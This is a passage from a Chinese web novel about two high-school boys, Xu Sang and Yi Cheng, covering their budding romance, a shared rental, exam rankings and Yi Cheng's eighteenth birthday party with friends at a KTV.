被许桑拽着走出两步,易承才后发地笑出声,更紧地握住了他的手:“啧。” 出学校后,尚能跟校服哥弟校服姐妹有个一面之缘。一旦窜出两条街,道路便变得曲折而非贯直,人流也相应地少下来。 除却自然声响,短道上只有步调一致的微弱脚步声。 这回不用纠结先走到谁家楼下,也不用绞尽脑汁想一个名义上的理由留下……易承脑子便清净不少,可清净下来,便想到许桑方才说的话。 他小心翼翼地喊了一声,“许桑。” “说。”许桑冷静下来,声音恢复平时的冷淡。 转角处,易承停下脚步,“你喜欢吗?” 身后是倒闭店家久未开合的铁门,上面落满了灰。许桑没退后,一丝一毫也没有,怕脏。他望进易承眼里,在澄明里寻找问题的成立环境,没找着,便问:“什么?” “教室,停电,桌椅满座,心却旁若无人,”易承只说了关键词,一词一顿,像个结巴。可断句之间却果断而利落,他稍停顿后,才说了最后一个关键词:“吻。” 许桑眼睫打了个颤,长而密,垂着将眼神遮掩,像个天然屏障,但旋即,这扇屏障崩裂,显出其后那一汪眼波。 他有了答案,答:“喜欢。” “嗯。”易承勾唇一笑,恃宠而骄般地又问了一句,不过这次连同身体也跟着得寸进尺:“我想听个理由。” 许桑:“……”这还需要理由? 当初说喜欢你也见你追着要句理由…… 不过当他抬眼,近在咫尺的人眼里俱是真诚,给人一种“你不好好答下一秒他就哭死了”的错觉,想了想,许桑问道:“真正的问题是什么?” “脑瓜子是核桃成的精吗?”易承笑道:“这么灵光。” 许桑不理会他的玩笑:“早恋么?” 易承挑起一边眉梢,“嗯”了一声。 许桑大致明白过来他的意思: 那个吻,很禁忌,也很不应该,若是日后曝光出来,校园广播公开批评恐怕都要一直“哔”某些字眼……而这就像这场早恋,是条规里的禁忌,是传统里的不该。 在未踏过某条金科玉律般的界线时,可以说,世界都会向他们无声说不。 可,那有什么关系。 仗着十七八岁的年纪,他们正有向世界说不的精力。 他一路念着检讨走过来,把那些心里不喜证明不对的条条框框碰了个遍。青中之小,尚能容得下他……怎么,这个世界不是自称广袤无垠,连个泥点子都容不下? 许桑眉眼染上利劲,一如每次走上台向满操场的人笑着说自己的不是,那种“字是字,我是我”的轻狂蔓进瞳孔,他说道:“我挺喜欢的。” “巧了,我也喜欢。”易承笑了,不住地细细描着他的眼,手指刮上他的眉骨,问了句:“不过,刚在想什么?” 许桑回答:“想些不该想的东西。” 易承脱口而出:“大脑是器官,不是主人。你既然想了,就没有什么不该想。” “是吗?”许桑笑问。 易承觉得那话没毛病,甚至颇有道理:“嗯。” 许桑眼神渐沉:“那现在想了些其他可以想的。” 话落,他扣抬起易承的脸,在他眼尾亲了一下。 薄薄的眼皮,传导出眼睑轻颤的细微动静,覆以唇的冰凉,易承僵住,片刻后才出声:“套我话呢。”- 联系上张姨后,许桑要到了房东先生的电话,这人声音听着虚里虚气的,说起话来,却十个字九个脏。 在他的脏话炮轰下,许桑要到了目前的租房情况: 合同已到期,但原则上他能多住两天,因为他入住时,国庆收假,少住了几天…… 实际不行。房东的新租户,是个浑身金毛任人拔取的,在原租价基础上,加了百分之十。 基于此,房东先生说:学生就别住这边了,危险;危房要留给社会人,孩子,我是在为你着想blablabla…… 许桑推着行李箱敲响门:“……” 损己为人,他该夸句“真有奉献精神”吗! “请进。”易承拉开门。 许桑东西不多,带来的教辅,写完的全扔了,除了校服及衣服,整体没什么好收拾的。 他进门熟练地换上拖鞋,偏了问了句,“我睡哪?房东。” 易·房东·承掩上门,笑弯了眼:“我不是说了,连人带房一起租。” 话落,他上前张开双臂,不要脸地补充一句,“我的便宜,任你占。” 歧义在这儿……许桑没绷住,撂下行李箱跟他拥抱了两秒,才退开:“行了吧?” 易承上前拉住他的行李箱,往卧房里带:“说不够,还想要呢?” “……”许桑跟他进屋,顺手给他转了个账,抬眼:“这话,我也想对你的分数说。” 易承僵住,顿觉压力山大,他步调都沉重了些:“那真是……” 脱掉那层戏精包袱,他正了言辞:“给,我给。” 许桑蹲下,输行李箱密码时,笑答:“好,我等着。” 东西收拾完,易承起身伸了个懒腰,划开手机,就见许桑给他转了三千。 嗯?这边的租房市价可远低于这个数字。 他追着问了句,“这是几个月的?” 许桑的声音从卫生间传出来,“先租一个月。” 易承收了钱,按市场价算后又打了个友情折扣,紧接着把多余的钱转回去:“那给多了。” “嗯。”许桑推开门出来,一边擦着手上的水渍,一边走进来,“剩下的租你。” 易承输数字的手顿住。 “玩笑。”许桑坐在床沿,“算上生活支出,可能还少了,到时候再补。” “行。”易承这才展眉,把要发出的转账退了,想到什么似的,他没压重量地坐在书桌上,看地势矮他一截的许桑,问道:“你是不是很难养?” 许桑抬眸:“嗯?” 易承说:“虽然挺以后的问题,但就在想,我是不是得再努力一些,才能把你养得很好。” “死不了。”许桑朝他勾了勾手,见他附身,才说道:“至于努力,我希望你的目标终点,你先于任何。” 易承怔了一下,才笑道:“好。”- 最近的一次考试是周考,其次能引起关注的大概就是十天之后的期末考。 期末考并非学校命卷,而是直接参与一次大型诊断性考试。据说这次的数学试卷是某一名家亲自出手,引起不少热度……所以交统一报名费的学校数量暴增,一度引发一次重量级的备考。 “好好准备期末考,”徐富落下这句话后,才摸出新出炉的周考成绩单,跟被闪瞎眼了似的,他原地蹦跳二十厘米,激动得手指局部帕金森:“我的天呐!” 自习得好好的同学:“……”有老徐真是他们的福气。 不过密切关注着徐富动静的人却跟着心提到嗓子眼,他们焦急地等待着这次周考的排名分数情况——大概是:太期待自己的蝶变。 小小的躁动声中,徐富啧啧呵呵地把玩着成绩单,笑着念:“这次周考有点意思。我跟科任老师问过,说这次的考题是花钱买的押题卷,偏难的一套……” “不铺垫了,第一名仍旧是许桑,第二名也没变,李云平。第三名就有意思了,你们猜都猜不到!”徐富高兴得脑袋打滚。 “老徐啊,小徐啊,我们不想猜,直接来个痛快吧!”吊车尾的同学从后排传声。 “行,那就不吊大家胃口了。”徐富把成绩单放下,看向最后一排,“第三名,易承,班排第三,年排第五。大家,掌声!” 听到自己名字时,易承抬了下头,在一阵掌声中,有些麻。他下意识看向他同桌,问道:“阵仗有必要这么大?” “有。”许桑侧身,近距离给他鼓了个掌。 易承很轻地笑了下: 南城附中的教学水平乃至生源水平,真就中等偏下。单拿上次万人联考来说,若非许桑参考,南城附中的第一只能排到一百名开外……实力可见一斑。 加上理一班常驻第三名赵鸿途还在激情自学中,他的第三,真没什么含金量,只能说,有个阶段性的小小进步。 这点,他还是有自知之明的。 不过,一些人就不这么想,甚至南辕北辙喽。 “他?易承?第三?我宣布,新的一年,第一个笑话诞生了!” “刚不是说了吗?买的押题卷,这种市面开放的东西,说不定易承之前就做过,肯定不是真实水平啊。” “我求求了,期末考快点来,这样易承就能上演一出打脸戏了。” “易哥,要重回江湖了吗?前面的牙齿酸掉了记得安回去,现在换牙贵……易哥中考第一不是白考出来的!” “你们有完没完,一次周考,还真有人当真了……承认进步那么难?” “李云平考完就跟我说,那套卷子他才做过,简直幸运女神附体。他不是也做了卷子,怎么没见考第一啊……说明记题也需要实力啊!” 简单的十分钟下课时间,易承听着自己的名字踢皮球一样在班级各个角落里走了一遍。 他衔着水杯杯口,冷水下肚,凉意荡开。 稍后,易承转了圈笔,笑:这才哪到哪啊,激动早了吧。 第69章 第69章 【“然后就进步了一点。”】…… 不知道是不是大范围地区的习惯, 但至少南城是:生日提前一天庆祝。 陈慢转过身来:“易哥,要不要去我家,我爸那儿肯定有单独的包间, 够用!” 易承从题海里抬头:“要包间做什么?” “你生日啊!一月八,一百零八单将,这生日时间简直不要太好记。”陈慢嘿嘿一笑,“你这么问, 是不是被我这么讲义气的朋友感动到了?” 易承停笔:“……感动,感动。” 他想了想, 除却今晚有时间, 貌似剩下的傍晚都归给学校了。他看向许桑,问:“要去吗?” 许桑回答:“我都行。” 易承看向陈慢,“那就去。” 陈慢歪头:“……”先问许哥是什么意思?同桌有责任管这么多? 想来他的同桌也太逊了,连老徐都盯不到,戒尺打肉上了,他同桌才替他叫一声:“啊!” 越想越觉得不靠谱, 迟早给换了——不过天可怜见,这事他说了不算。 陈慢将这计划跟吕丁说了遍,结尾道:“小丁子,走啊,一起?” “走走走。”吕丁才听了自己进步三名的好消息,很难不亢奋,“不过别叫我小丁子,跟那个深宫里的太监一样。” 易承起身收书包:“气质挺像。” 吕丁白眼翻不转, 便只能把头仰过去:“……易哥,嘴巴不是这么用的。日后你要到了遗体捐赠环节,嘴都捐不出去, 那不就成滞销货了。” 易承看他一眼:“卖的捐的都能混一起,你这脑子,待开发空间是不是过于大了?” 吕丁死亡微笑:“……” 拖着书包出了教室他才想到能回的话,“易哥,你这话的意思是,我这脑子还有研究价值?那说不定存冰柜里……我醒来都二十三世纪了!” 易承挽上许桑的手,偏头:“研究结论:实验对象不合格。” 吕丁皱眉:“什么意思?” 许桑翻译:“脑子有问题。” 吕丁:“……什么嘛!那慢慢的脑子是不是更不行?他这次矮我一名,岂不是更蠢!” 陈慢刚切断跟赵鸿途的电话,听到这句,立马跳起来了:“小丁子,你有完没完?上次比你高……老子下次准能比你高!” 十字路口,最是人多车杂。白灯红灯绿灯彩光流通,四面车水马龙。 顺利过了马路,聊天才继续。 “说到成绩,易哥,我听到老徐念你名字时,我比老徐还激动!”吕丁上前一步,搭上易承的肩,“你怎么蹿这么厉害,跟坐火箭一样?” 什么叫“蹿这么厉害”,换个场景这“粪围感”太他妈浓了。 易承轻拧眉:“用词精准点,拜托。” 吕丁貌似找到了反驳点:“不好意思,易哥,我脑子有问题。” 易承别他一眼,回到正题:“刷了几周题。” 陈慢也探出头:“然后呢?” “然后?”易承沉思了一下,“然后就进步了一点。” 陈慢:“……” 言外之意:没有然后了。 吕丁:“……”“一点”? 他裤.裆劈开了都覆盖不了的距离,才“一点”! 陈慢父亲开了家KTV,才开张一年,生意做得倒意外得还行——也可能是他爸饭店、超市、酒吧、网吧等都经营倒闭后转的运吧。 陈慢跟前台的马尾女生打了个招呼后,转头往电梯口带:“走,我带你们上顶楼。” 顶楼正经得发邪,是陈爸安排给陈慢做作业阅读学习的地方……不过,陈慢不经常来这,理由是:“爱家!” “没话筒,只能听歌,歌声还有限制分贝。”陈慢吐槽着推开大包厢的门,“你们说我爸是不是有点子毛病?” “什么毛病?”吕丁看了眼里面的陈设,温馨得像幼儿园,一愣。 陈慢调了下空调开关,又在智能界面把吃食点好,说:“全是毛病。别人家的顶楼,不是豪华间就是高级待客厅,专门揽钱的地儿,他居然用来给我学习!” 吕丁摸到沙发处坐下:“这难道不是爱?” 陈慢皱眉:“……你妈拿着擀面杖追着让你学习的时候,你觉得那是爱?” 吕丁恍然大悟:“那我明白了。” 赵鸿途来得晚了十分钟,进屋时,在白炽灯的照耀下,人看着圆润了不少。 吕丁热情招呼:“好久不见啊,鸿途!” 赵鸿途推了推眼镜,在最右边的沙发处坐下:“好久不见,各位。” 屋内的电视机放着风景类的纪录片,地点在一片片铺展开的花田。贯穿始终的舒缓风铃声,像是花海翻涌的通感化表达。 陈慢坐过来时,把桌上的低度数酒开了,一人倒了一杯后,开始尽地主之谊,尽到一半,他便拽了吕丁去准备东西。 赵鸿途兴高采烈地挪到许桑旁边,“许哥,我回去的这一周,有种前所未有的兴奋,状态的话,自我很满意。感谢你之前的提醒,不然我根本不敢尝试一个人在家自学!” 许桑端起淡酒,抿了一口:是葡萄味的鸡尾酒。 他在酒味里出声:“不用谢。” 赵鸿途坐得更近了些,问出了疑惑很久的问题,“许哥,那你觉得,我这次期末考,有没有必要参加?要是考得不好,会不会被同学嘲笑?大概就觉得我自不量力还偏要自学……我怕影响到心情,就在犹豫要不要回来考,而且老徐让我明天之前给他个答复。” 许桑轻挑眉,“答案不是显而易见?” 赵鸿途发愣:“啊?” 许桑淡声:“把期末考换成高考,答案你自己选。” 赵鸿途呆住了:“……”他想了一会,才问道:“可高考毕竟和平时考不一样。期末考一次不考问题不大,而且说不定我有些知识点补得不够。但高考之前,我肯定复习全面了……期末考如果考差,会影响到之后的复习心态,那——” 放下酒杯,易承毫不客气地打断了他,“鸿途。” 赵鸿途停嘴:“易哥?” “这种问题,问自己。”易承声色冷了些。 赵鸿途沉默下去: 他知道自己心里清楚地有了答案,那就是不参加期末考,直接到高考前的三诊或者直接参加高考,以一个进行完二轮甚至三轮复习的脑子参考,一鸣惊人。 但他不能说不来,因为容易被说“装”也容易被打脸…… 可是他又有疑虑。所以换了个法子说出来,想问问他所钦佩的人怎么说,借鉴行为从来比自己的选择更靠谱,不是吗? 易承拉着许桑的手臂,将人往自己身边带了些,强势回应:“我不希望未来你的失败反省里,有许桑的影子。” 他听了半天: 赵鸿途的话里全是扭曲的解释。心里一旦有了答案,再去问人,别人说是说不是,在问的人心里,都他妈一个样…… 许桑偏头,有些意外地看着易承。 易承看着他微微发愣的眼神:“有什么不对?” 许桑轻摇头:“没什么不对。” 就是太直白了些,不适合对赵鸿途这类人说。 赵鸿途被屁崩过一样,额前那些长碎发都竖起来了,他把眼镜往上一托,怀疑起自己的听力:“什么意思?” 易承直言:“你什么时候回来考试,什么时候就明白了。” 赵鸿途僵在原地,开始坐着软成海绵的沙发现在硬得像是石板,他回忆了一遍易承的话,小声呢喃:“怎么这么肯定我考不好?” 易承把多余的那杯酒递给他,无声回答:因为心态。 一个“平时不重要,一上考场就被强调,一下考场就被拖出来鞭拷”的存在。 蛋糕推进房间的时候,陈慢没注意到屋内稍有些凝重的氛围,只以为是加湿器太靠谱、空气都负重了。 他把帽子递给易承,“快,易哥,戴帽子。” “鸿途,快来插蜡烛;许哥的话,”陈慢找了半天没找到活,看了眼易承,见他低头盯着生日帽发呆,以为他是自己弄不来,便说,“刚好,许哥,你帮易哥戴下帽子。” 许桑“嗯”了一声,垂眸:“不会戴?” 易承指尖扣着帽沿,低声回答:“嗯……没戴过。” 不过生日所以没戴过,还是? 许桑从这话里听出些过往,轻顿,从他指尖抽出生日帽,起身玩笑道:“你不是一向手巧?” 易承迟钝地看着自己空无一物的手指,慢慢回应一句,“那也不是——” 许桑出声:“转头。” “哦。”易承依照指令,向他转头。 下一秒,指尖穿过发丝,一只偏凉的手轻轻揉了下他的头,像摸狗脑袋般,不知轻重,只想薅毛,但却莫名舒服。 易承抬眸,近前,是被校服拉链拉到顶、看不见任何内搭的胸膛,离他的鼻尖有些距离,但足够他闻到一丝淡香,让人安定,心生放松。 许桑单腿跪在沙发上,在他脑后扣紧,便退出些许距离理前面的“冠”,他轻声说道:“我会戴就行。” 那头蜡烛插好,灯已熄灭,陈慢在用遥控板调电视屏里的生日祝福歌。 易承在屏幕散出的微光里抬头:“嗯?” “只要你想,”确定生日帽没歪,许桑回答:“每个生日,我给你戴。” “啧,”易承眯了眯眼,小声:“听着像情话。” 许桑坐到他身旁:“……” 有些人,安慰他不如打他一顿来得痛快。 第70章 第70章 【“夸早了。”】 屋内的氛围灯还挺应景, 五颜六色的,跟彩虹碎片一样,在暗沉的屋内粼粼扑腾。 经典的生日祝福歌放出来时, 蜡烛彻底燃亮,褐色巧克力杆拼接出“18”,简单款的少奶油蛋糕上,铺着两堆蓝莓粒。 “易哥, 你许愿的时候能不能捎上我们!”吕丁一手托腮,望着烛光背后的那张脸, “我们都过过了, 总不能大学去了才许愿高考旗开得胜吧?” 许桑听着,微顿:一天天听惯了叫“易哥”,这点他倒不清楚,易承居然是这几人当中最小的。 易承双手合十,正攒情绪呢,被这么一打断, 没忍住睁开眼,无语道:“谁许愿带一屋子人?愿望超重了,估计都上不了天。” 话是这么说,但他合上眼时,还是“拖家带口”地把这屋子人都带上,许了个愿。 “行了。”易承放下手,把过刀,开始切蛋糕。 吕丁搓手:“谢谢易哥!” 陈慢和赵鸿途后了两秒才道谢。 易承落下一刀, 要落第二刀时,手肘推了推许桑的肩膀,轻声问:“多些还是少些?” 许桑看了眼蛋糕:“少些。” “好。”易承放窄了扇形区域, 利落落下一刀后,刀背挑起蛋糕块,落在碟子里,“给。” “谢了。”许桑接过。 “易哥,你怎么这么会切蛋糕?”陈慢看着他切下的近乎完美的一块,羡慕地歪了歪头。 易承闻声,手一偏,第二块应势切得歪七扭八,他端给陈慢:“夸早了。” 陈慢看着蛋糕:“……” 且不论有没有个规矩的形状,单说这皮层的奶油都戳到蛋糕胚缝里了,就知道这一手,故意得不能再故意了。 易承也不再讲究,歪七扭八、斜三岔四地挑起蛋糕,依次切完,手都有些酸……等自己片下一小块,尝了一口后,他点评:“谁发明的寿星分蛋糕,讲究先苦后甜?” “哪苦了?”陈慢嘬了口蛋糕,“我记得备注里强调过,而且刚吃着巧克力都是偏甜的,好吧!” 易承:“……” 他无话可说,泄气似的吞了一大口蛋糕胚。 许桑在一旁轻笑,隔了一会才凑过去小声说,“切个蛋糕都喊累?” 易承看他一眼,心情很好,“嗯。” 许桑将碟子放下,头次把别人切的蛋糕吃完,可能是易承切的量刚刚好,也可能……切的人是易承。 他退后些,坐在沙发上,见易承也跟着坐了过来,他说道:“那建议练练体力,尤其手劲。” “手劲?”易承吃东西的手一顿,忽然想到什么,凑近去问,“许桑,你是不是欠了点什么?” 许桑没反应过来:“嗯?” “比手劲。”易承提醒道,“抓贼的时候,欠下的掰手腕。” 许桑想起来,轻挑眉:“比比?” “不是吧?易哥,”吕丁到底是跟了易承很久的兄弟,听到易承提的要求后,手上听话地收着桌子,嘴上却在反抗,“你和许哥掰手腕?这不纯纯欺负吗?” 许桑沉默:“……” 他是哪点看上去好欺负? “不一定吧,”陈慢把蹭到桌面的奶油擦干净,“虽然易哥的手劲我实在承受不起,但许哥……脾气也不小?” “你自己录下来听听这前言搭得上后语吗?”吕丁在一旁小声跟陈慢掰扯,“脾气大又不能把别人手冲开,但手劲大能轻易把脾气压下去。” “嗯?不会适得其反?” “你就看吧,我赌——”吕丁大声,“我赌许哥赢。” “他妈你前后矛盾啊,”陈慢被他虚晃的这一枪爆了头,“那我赌易哥,坚定的易党!” 易承听着最后一个词,微不可察地拧了下眉:“……” 吕丁招呼:“鸿途,你也来赌一个嘛!” 赵鸿途状似无事发生,坚定选择:“那我赌许哥赢。” “好的,好的,请两位选手就位。”吕丁跳出来主持,“现在易承选手已准备就绪,许桑选手还在整理袖口,哦?袖口有些碍事,他直接脱掉了校服外套,呀,里面是件黑色低领毛衣,他将其卷到了小臂上方,露出一截,哇塞,的手臂,线条出乎意料的好看。许桑选手看向了……我?” 许桑听着他神叨叨的解说:“……” 吕丁憨憨一笑,朝陈慢的手机镜头里看去,转过头说:“节目效果,节目效果。好的,目前许桑选手也准备就绪,两人视线开始交锋,像是擦出了火花,战况激烈……等等,还没开始 。两人的手终于握上,易承选手在笑,像是对这次比拼胜券在握;等等,许桑选手也在笑,笑得真漂亮。易承选手看向了……我?” 易承一记眼刀飞过来,“你话有点多。” 吕丁笑了笑,知道他易哥只是日常嫌弃,便又继续:“听我口令,三,二,一,比赛开始!” “镜头给到两只握紧的手。再近一些,目前比赛进行了十秒,两人手腕却都没有明显的变化。易承选手在发力,瞧,他的掌长肌腱明显绷起,小臂连同手背,出现明显的肌肉线条……再看许桑选手,哇塞,面不改色,相当稳健!紧握住的手微微在颤抖,这是双方都极致用力的呈现。比赛目前进行了半分钟,还没有明显的胜负趋势,简直不要太精彩!” 吕丁说得面红耳赤,比两位正发力的人看着还要全情投入、全力以赴。 陈慢用力把着手机在摄像,不好意思影响拍摄效果,但吕丁的状态实在疯狂,他怕忍不住,便咬住手背憋笑。 “比赛进行到现在,可以看到,许桑选手略处于下风,等等,一个不眨眼,风向立变!易承选手缓缓低了下头,这是在发力还是有些力不从心?” “镜头请往前推,天呐,许桑选手绷紧的手背青筋,着实好看……哎呀,易承选手突然发力,许桑选手危在旦夕,诶?等等,许桑选手扛住了,并以意想不到的手劲,掰过去了……哇,我宣布,本场比赛,许桑选手获胜!” 许桑和易承同时看向嘴一直没停的这位:“……” 属实是聒噪了! 陈慢把视频关了,虽然全程跟拍,跟得他腮帮子都一直绷力,但多少还是一些难以置信,他挠挠头:“易哥,你是不是放水了?” 易承揉着泛红的指根:“没放。” “看吧。”吕丁猛喝了一大口酒,润喉,得意嗖嗖地说,“其实我也就随便一猜,没想到许哥这么给力。” 陈慢给他一脚:“呵呵哒。要不再来一局?” “不来。”许桑拒绝得很快。 “行吧,听许哥的。”陈慢有分寸地应下,滑坐到地上,说道:“不过时间还早,要不要玩个学术游戏?” 学术游戏? 吕丁像是发现了新大陆,“说来听听。” “一副扑克牌,随机抽。”陈慢从桌子底下摸出一副新牌,说:“JQK分别为11、12、13。抽到的人,需要在数字加秒数限制内背出与数字相关的公式或者定律之类的。比如,抽到A,需要在一秒内背出与1有关的公式,就像概率中:P(A) + P(A^c) = 1。” 易承问:“抽到大小王呢?” “大小王都代表0秒,0秒肯定反应不了啊,直接自罚一杯。”陈慢窃笑一声,“另外,如果没答出来,多少秒喝多少秒加一杯。这挺公平吧!毕竟13秒还反应不出来个公式,配得上高三生的称号吗!来不来?” “来!” 第一轮玩得稍显生涩,先是吕丁倒霉鬼上身摸了张大王,自罚一杯;再是陈慢自打自脸,想了半分钟没反应出跟3有关的公式,狂饮四杯;最后是赵鸿途,眼镜戴歪了把六看成九,欠下七杯。 闹剧自此结束。 易承齐牌时,问了一句:“欠杯除了喝,还能怎么消?” “我之前玩的时候吧,要么代喝帮喝,要么就是欠几杯做几道题,用套题,不跳题。”陈慢说。 “可以。”易承齐好牌后,在桌上摊开,自己先抽了一张。 运气挺背啊,K。 他想了想,还真有些脑子宕机,试探性地开口:“5、12、13勾股数算不算?” “许哥定吧。”陈慢想了想,“年级第一的水平更有权威性。” 易承闻声,轻挑眉,拽了拽许桑的衣角,变了调地问:“算不算?” 许桑看了他两秒:“算。” 易承勾了勾唇,将那张K放到一旁,说:“该你了。” 许桑指尖一点,运气好到爆似的,又抽了张“A”,与1有关的公式定理多得数不清,他随便背了个对数函数的性质,便混过去了。 “运气简直了!”陈慢开抽,把7反摔到桌面时,皱着眉愣了好久,而后哭着脸:“谁发明的这个游戏?哪有跟七有关的定理?” 许桑淡淡开口:“pH值为7时,溶液为中性。” “嗯,”易承玩儿似的补充:“彩虹有七种颜色?” 陈慢震惊地连连点头:“……我靠,有道理啊,思路打开了,我记8杯!” 之后玩得愈发的溜了,除了运气实在太背抽到大小王外,几乎无人记杯。 赵鸿途卡在了“5”,想了半天后,还是认下了六杯,但没想到的是,吕丁接着他就连背了几条,虽然很扯蛋,比如:SI中五个基本物理量是米、千克、秒…… 但这种脑子的发散性,还有思考的灵活性,赵鸿途打心眼里觉得,他这辈子都不太可能拥有。 所以,越进行到后期,他越是力不从心……以至于成了欠下杯数最多的,而反观他旁边的许桑,即使在这些玩耍性的游戏里,都做到只欠了两杯大王酒。 游戏进行了六轮,实在绞尽脑汁想不动了……便进化到“赎杯”环节,开始刷题。 “你别说,你爸的良苦用心今天派上用场了。”吕丁从兜里取出套卷,大方地撕了两张给欠下近40杯的赵鸿途,又收回手笑着说:“这不妥妥的学习氛围!” “有道理。”陈慢也跟着他的动作抽出试卷,体贴地撕了一张给易承,“易哥,这套难度5颗星,我看看啊,市统考平均分41,你快来一展身手!” 易承接过:“……” 满打满算下来,除了许桑幸免于难,剩下的人人一两套试卷,不过大概除了赵鸿途,基本都是自愿坐下来陪赵鸿途一起做。 “许哥,帮我们记个时,再cos个监考老师呗!”吕丁提议。 许桑端起酒杯:“嗯,你们做。” 舒缓的风铃声在生日歌后被释放出来,如今又回笼,就显得吵了……许桑起身,在调白噪音和直接关闭之间抉择两秒,选了后者。 屋内静静的,只有笔尖点在纸页,真就像考场了。 许桑还挺喜欢这款鸡尾酒,贪了两杯,摸出手机刷题库,中途趁着系统判题时,他尽职地看了眼“考场情况”。 都埋头算着,唯有赵鸿途时不时会抬个头,去瞄一眼其他人的卷子,抄答案首先排除,毕竟卷子都不是同一套……那答案就显而易见,他在对进度。 许桑挑了挑眉,他坐到易承身边,趁赵鸿途低头,他附耳小声说了句,“跳两道题。” 易承照做,直接就给卷子翻了个面儿,折页间发出明显的声音,没听到指令,他便继续做。 实验结束。 许桑偏头牵了下唇,抿酒:翻页之时,赵鸿途抬起惊恐而慌乱的眼,确认易承是真的翻页后,看了眼自己的试卷,手上简直按了二倍速,甚至汗都给自己逼出来了。 后面节奏乱得一发不可收拾——他匆匆赶完整张试卷,落笔找许桑报时间,听到远超过自己想象的时间,笑了一下。又偷偷去看其他人,又笑。 直到视线转到易承,却发现他早已闲着端了酒杯在跟许桑……讨酒喝? 赵鸿途:“……” 陆陆续续地,吕丁和陈慢放弃某些拗不动的题后,开始交换试卷进行批改。 “鸿途,你后面的字好乱。”吕丁看了眼,震惊地又翻了翻前面那页。 赵鸿途挠了下后脑勺,不好意思地说:“写太快了。” 他低头看吕丁的卷子,一路批改着,他眼睛都不自觉睁大了:为什么进步这么大? “牛逼啊,易哥,”陈慢飞速对完答案,“你是真起来了!” “……”易承偏头给他打了把大斜杠,“还能假起来?” “我就是表达一份震惊,这一路打勾打得我手累。”陈慢抱怨。 易承跟一句:“一路斜杠划得我也不舒服。” 陈慢震惊:“……我错这么多?” “还行。”易承想了想陈慢之前的分数,对标后才说,“有进步。” 陈慢娇羞一下:“嘿嘿。” 许桑又倒了一杯,目光从易承手下的试卷上扫过一眼后,偏过头来继续喝酒。 “鸿途,你要是不粗心,分数还能高很多。”吕丁鼓了个掌,“不过也很高了!” 赵鸿途把他标完91的卷子推过去,有些忐忑却又有所期冀地问:“多少?” 吕丁说:“124。我刚还找易哥帮看了一眼,应该误差不大。” 赵鸿途推了推眼镜,像是在遮什么,手一直没放下,接过试卷一道一道地看,很久后才蚊子叫一样说了一句:早知道慢点了。 “哟,这么高!”陈慢看了眼吕丁的,又看了眼传回自己手上的,“怎么每次都比你矮两分!” 吕丁摇头晃脑:“实力呗。” 易承看了眼自己的试卷,偏头说了句,“这分数够不够?” 许桑偏眸,卷面被陈慢那个红笔精画满了“勾”,而最上方的分数框里,标了个很丑的数字,换个说法,叫满分。 许桑笑笑:“够。” 卷子收起来时,赵鸿途起身,笑得很不像在笑,说:“你们进步都好大啊,显得我慢了。” 吕丁没细品这句话,只笑着回答:“还不是因为易哥,累死鬼上身一样,就没见他停过笔。氛围到了,突然就觉得学习有那么点小意思了。” “同意。”陈慢举了个手,“叫什么立时代风口上猪都能起飞,坐学霸前排,就有种无形的力量把你往前推!” 吕丁一咋呼:“押上了,慢慢!” 陈慢偏头:“是吗?可我怎么说起来那么别扭!” “那什么,我和小丁子刚好同路,”陈慢开始犯某职业病了,“鸿途家近,应该没问题,易哥许哥呢?” 易承回答:“同路。” “那没问题了。”陈慢把室内的灯全打开,“回家记得发个消息,报平安。” 出了KTV,外面散落着要进刚出的客人,五花八门争奇斗艳的。十字路口处,五人分三组,朝不同的方向归家。 回到家已经十一点半——好在第二天周天,常理说,能睡个四肢都舒坦的大懒觉。 从浴室出来,许桑闷在床头,像是睡意当头,他靠着抱枕眼睛直接闭上了。 易承换上睡衣,吹干头发坐上床时,拨了他一下,“这么睡明天脖子酸。” “嗯。”许桑抬了下手指,不太想动。 倒也不是醉了,单纯是酒意下肚,会加热身体,带起一阵浮躁的热气,冲进脑门,不由地,像发烧一样,人迷迷瞪瞪的。 “有点傻。” 易承看他一眼,探出手背贴了贴他额头,问题不大,他目光下移,落在他莹白的耳垂,贴近,问:“醉了?” 许桑理智仍占据绝对位置:“没。” 易承看着他大开的领口和被热水带红的肌肤,笑了声:“那你这样,容易让人误会。” 真跟醉了一样。 许桑懒得睁眼:“让谁?” 易承回道:“我。” “误会什么?”许桑皱了下眉,跟一句:“关我屁事。” 这脾气…… 易承无奈笑了笑,将里面的枕头摆好,一手绕到他侧腰扶住,另一手则轻托住他后膝盖弯,将人半推半抱地放进床里,还拉过被子给他盖上。 他放下抱枕,伸手按关床头灯后,也躺进被子里。 眼睛刚闭上,一只有力的手臂就横过来,精准地箍上他的腰。 睡衣料子轻薄,把内里肌肤的热度毫无保留地传导出来。易承呼吸一滞,感受着食指轻轻擦了擦他的侧腰,而后箍紧。 易承动了下,搭腰上的手却更用力了:“这是怎么了?” 掰手腕环节没展示够,还想证明证明手劲? 问题没得到答案,热气却扑落在鼻尖、唇间,蔓延至脖颈、锁骨。 易承反应明白时,许桑的手已经到他后腰腰窝,而他被许桑的手一带、直接翻了个面跟人来了个距离极近的拥抱。 “生日快乐。”许桑含糊不清地说了一句后,微微前倾,额头相贴。 易承轻笑,“这么强制的快乐?” 他近乎动不了一点,两个大男人,说不清谁比谁更血气方刚……热气几乎要给他蒸熟了,易承眨了眨眼。 “嗯?”许桑懒得加工这句话,又重复一句,“生日快乐。” 易承闭眼,低声:“嗯,会快乐的。” 大概沉默几秒后,他才反应过来:过零点了,今天恰好是他的生日。 70-80 第71章 第71章 【“又损我?”】 经历过一番互联网风波后, 若说是浪退海水平,还真说不过去。春招报名人数在持续增加,加之今年部分春招招生院校取消了存在后门通道的面试环节, 一度将“公平”的旗号悬梁,成为一大热题。 “现在的孩子,确实要比之前几届要现实、清醒一些,有主见也敢反抗了。”徐富吐出一口茶叶, 摇头: “你瞧着,春招报名人数蹭蹭蹭地往上涨, 咱学校的比去年翻了一倍不说, 我费心费力经营打理的理一班,居然也有三个人铁了心地走春招!唉,虽然是我骂走的,但也不能真这么走了啊!” “这有什么,”五班班主任上前,“我班要走十个还是十一个。挺好啊, 人少了,也消停,说不定能静下心来培养两个。” “那不是静不静心能培养好的,”徐富瞪他一眼,“我班许桑天天被他前面那两个碎嘴子折腾也没见成绩下降;坐空调缝里那个,也没见个人去打扰,还不是把着绳子底儿、捞都捞不起。这不是静不静的问题。” 五班班主任话塞,摆摆手自顾自告退:“秀我一脸, 还不如一巴掌扇我脸上来得舒坦。” 徐富“害”一声:“君子动口不动手。” 出门前,五班班主任仰天长啸:“五班能不能出个人,让那文曲星搁脑袋上砸个大包?聪明两个吧, 争气两个吧!” 